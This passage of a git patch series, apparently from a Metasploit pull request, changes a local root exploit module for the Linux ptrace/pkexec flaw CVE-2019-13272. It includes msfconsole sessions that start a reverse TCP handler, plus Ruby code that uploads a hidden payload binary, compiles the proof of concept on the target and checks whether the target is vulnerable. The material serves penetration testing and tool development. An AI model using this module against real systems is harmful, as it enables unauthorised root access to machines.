exploit(linux/local/pkexec_helper_ptrace) > set SESSION 1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 SESSION => 1 -msf5 exploit(linux/local/pkexec_helper_ptrace) > set VERBOSE true +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set VERBOSE true VERBOSE => true -msf5 exploit(linux/local/pkexec_helper_ptrace) > exploit +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > exploit [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Kernel version 4.15.0-13-generic appears to be vulnerable [+] pkexec is installed @@ -135,14 +135,14 @@ Server username: uid=0, gid=0, euid=0, egid=0 It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system. ``` -msf5 exploit(multi/handler) > use exploit/linux/local/pkexec_helper_ptrace -msf5 exploit(linux/local/pkexec_helper_ptrace) > set LHOST 192.168.56.1 +msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(linux/local/pkexec_helper_ptrace) > set SESSION 1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 SESSION => 1 -msf5 exploit(linux/local/pkexec_helper_ptrace) > set COMPILE False +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set COMPILE False COMPILE => False -msf5 exploit(linux/local/pkexec_helper_ptrace) > run +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Kernel version 4.15.0-13-generic appears to be vulnerable diff --git a/modules/exploits/linux/local/pkexec_helper_ptrace.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb similarity index 100% rename from modules/exploits/linux/local/pkexec_helper_ptrace.rb rename to modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb index 1db064221f..fa4dbaa62f 100644 --- a/modules/exploits/linux/local/pkexec_helper_ptrace.rb +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -32,8 +32,8 @@ class MetasploitModule < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery and exploit - 'timwr', # Metasploit module 'bcoles', # Metasploit module + 'timwr', # Metasploit module ], 'References' => [ ['CVE', '2019-13272'], From 620609c955debaf6bf215d8d0e96f6492a8a2d3c Mon Sep 17 00:00:00 2001 From: Tim Date: Thu, 10 Oct 2019 13:13:40 +0800 Subject: [PATCH 10/16] Update lib/msf/core/post/linux/compile.rb Co-Authored-By: bcoles --- lib/msf/core/post/linux/compile.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/linux/compile.rb b/lib/msf/core/post/linux/compile.rb index 7b7dbe35f0..6e95af9708 100644 --- a/lib/msf/core/post/linux/compile.rb +++ b/lib/msf/core/post/linux/compile.rb @@ -36,7 +36,7 @@ module Compile gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' - gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + gcc_cmd = "PATH=\"$PATH:/usr/bin/\" #{gcc_cmd}" end unless gcc_args.to_s.blank? From 4d4754a389171a81683101f9455e1900566ad6b4 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 10 Oct 2019 13:30:31 +0800 Subject: [PATCH 11/16] feedback from bcoles --- .../linux/local/ptrace_traceme_pkexec_helper.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb index fa4dbaa62f..36815c5822 100644 --- a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -18,6 +18,10 @@ class MetasploitModule < Msf::Exploit::Local super(update_info(info, 'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit', 'Description' => %q{ + This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux + kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but + not over an SSH session, as it requires execution from within the context of + a user with an active Polkit agent. In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging @@ -26,8 +30,7 @@ class MetasploitModule < Msf::Exploit::Local contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper - with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in - some environments. + with PTRACE_TRACEME. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -98,8 +101,7 @@ class MetasploitModule < Msf::Exploit::Local end payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" - binary_payload = generate_payload_exe - upload_and_chmodx(payload_file, binary_payload) + upload_and_chmodx(payload_file, generate_payload_exe) register_file_for_cleanup(payload_file) exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" From 8f01ea3c498bb570739c85fccf4db534d625c837 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 10 Oct 2019 13:38:37 +0800 Subject: [PATCH 12/16] update docs description --- .../exploit/linux/local/ptrace_traceme_pkexec_helper.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md index 76ae83a982..dfbd61ffb2 100644 --- a/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md +++ b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md @@ -1,5 +1,10 @@ ## Vulnerable Application +This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux +kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but +not over an SSH session, as it requires execution from within the context of +a user with an active Polkit agent. + In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging From 3b5d0b98e7bf9eeb478c4dc0402b6976f6c4f1fb Mon Sep 17 00:00:00 2001 From: Tim W Date: Wed, 23 Oct 2019 19:38:35 +0800 Subject: [PATCH 13/16] add a basic check method using loginctl --- .../exploits/linux/local/ptrace_traceme_pkexec_helper.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb index 36815c5822..4a614a5247 100644 --- a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -81,6 +81,12 @@ class MetasploitModule < Msf::Exploit::Local vprint_good 'pkexec is installed' + loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote') + if loginctl_output =~ /Remote=yes/ + print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)' + return CheckCode::Safe + end + CheckCode::Appears end @@ -89,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end - if check == CheckCode::Safe + unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end From 3cb9f2d709a7cd9a1311e645ef6b711a1ec0c81a Mon Sep 17 00:00:00 2001 From: Tim W Date: Wed, 23 Oct 2019 20:28:13 +0800 Subject: [PATCH 14/16] remove pointless upload_binary function --- lib/msf/core/post/file.rb | 15 ++------------- 1 file changed, 2 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 67d0b3bb84..8652c10d57 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -398,18 +398,6 @@ module Msf::Post::File write_file(remote, ::File.read(local)) end - # - # Upload a binary and write it as +remote+ on the remote file - # system - # - # @param remote [String] Destination file name on the remote filesystem - # @param data [String] Data to be uploaded - # @return (see #write_file) - def upload_binary(path, data) - print_status "Writing '#{path}' (#{data.size} bytes) ..." - write_file path, data - end - # # Upload a binary and write it as an executable file +remote+ on the # remote filesystem. @@ -417,7 +405,8 @@ module Msf::Post::File # @param remote [String] Destination file name on the remote filesystem # @param data [String] Data to be uploaded def upload_and_chmodx(path, data) - upload_binary path, data + print_status "Writing '#{path}' (#{data.size} bytes) ..." + write_file path, data chmod(path) end From 7ff71819e905587881cc9eea4efabd909d8e6ffd Mon Sep 17 00:00:00 2001 From: Tim W Date: Wed, 23 Oct 2019 20:38:55 +0800 Subject: [PATCH 15/16] add architecture check to check method --- .../exploits/linux/local/ptrace_traceme_pkexec_helper.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb index 4a614a5247..ff00a383c6 100644 --- a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -71,16 +71,21 @@ class MetasploitModule < Msf::Exploit::Local vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end - vprint_good "Kernel version #{release} appears to be vulnerable" unless command_exists? 'pkexec' vprint_error 'pkexec is not installed' return CheckCode::Safe end - vprint_good 'pkexec is installed' + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote') if loginctl_output =~ /Remote=yes/ print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)' From 8c93b219d1ded733f62b5c41b782369bccd1842d Mon Sep 17 00:00:00 2001 From: Tim W Date: Wed, 23 Oct 2019 20:54:38 +0800 Subject: [PATCH 16/16] fix compile.rb and rubocop --- lib/msf/core/post/linux/compile.rb | 2 +- modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/post/linux/compile.rb b/lib/msf/core/post/linux/compile.rb index 6e95af9708..87a620a4d0 100644 --- a/lib/msf/core/post/linux/compile.rb +++ b/lib/msf/core/post/linux/compile.rb @@ -32,7 +32,7 @@ module Compile end def upload_and_compile(path, data, gcc_args='') - upload_binary "#{path}.c", strip_comments(data) + write_file "#{path}.c", strip_comments(data) gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' diff --git a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb index ff00a383c6..34c0abc1a0 100644 --- a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -111,11 +111,11 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end - payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" upload_and_chmodx(payload_file, generate_payload_exe) register_file_for_cleanup(payload_file) - exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')